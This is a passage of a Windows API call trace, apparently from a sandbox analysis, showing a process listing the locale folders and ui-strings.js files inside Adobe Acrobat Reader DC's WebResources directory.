1 [0246.904] GetProcessHeap () returned 0xc10000 [0246.904] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.904] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0246.904] GetProcessHeap () returned 0xc10000 [0246.904] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.904] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0246.905] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.905] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.905] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2024, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.905] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0246.905] GetProcessHeap () returned 0xc10000 [0246.906] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.906] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0246.906] GetProcessHeap () returned 0xc10000 [0246.906] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.906] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\eu-es\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.906] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.906] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.906] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f56, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.906] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.907] GetProcessHeap () returned 0xc10000 [0246.907] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.907] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0246.907] GetProcessHeap () returned 0xc10000 [0246.907] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.907] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fi-fi\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0246.918] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.918] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.919] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f27, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.919] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0246.919] GetProcessHeap () returned 0xc10000 [0246.919] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.919] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0246.919] GetProcessHeap () returned 0xc10000 [0246.919] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-fr\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.922] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.922] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.922] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.922] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.922] GetProcessHeap () returned 0xc10000 [0246.922] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.922] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0246.922] GetProcessHeap () returned 0xc10000 [0246.922] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.922] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\fr-ma\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.924] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.924] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.924] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2084, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.924] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.924] GetProcessHeap () returned 0xc10000 [0246.924] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.924] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0246.924] GetProcessHeap () returned 0xc10000 [0246.924] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.924] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\he-il\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.925] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.925] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0246.925] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.925] GetProcessHeap () returned 0xc10000 [0246.925] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.925] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0246.925] GetProcessHeap () returned 0xc10000 [0246.925] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.925] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.926] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.926] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.926] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f33, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.926] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.926] GetProcessHeap () returned 0xc10000 [0246.926] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.926] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0246.927] GetProcessHeap () returned 0xc10000 [0246.927] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0246.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0246.928] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.928] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2013, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0246.928] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2013, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0246.928] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0246.934] GetProcessHeap () returned 0xc10000 [0246.934] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0246.934] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, 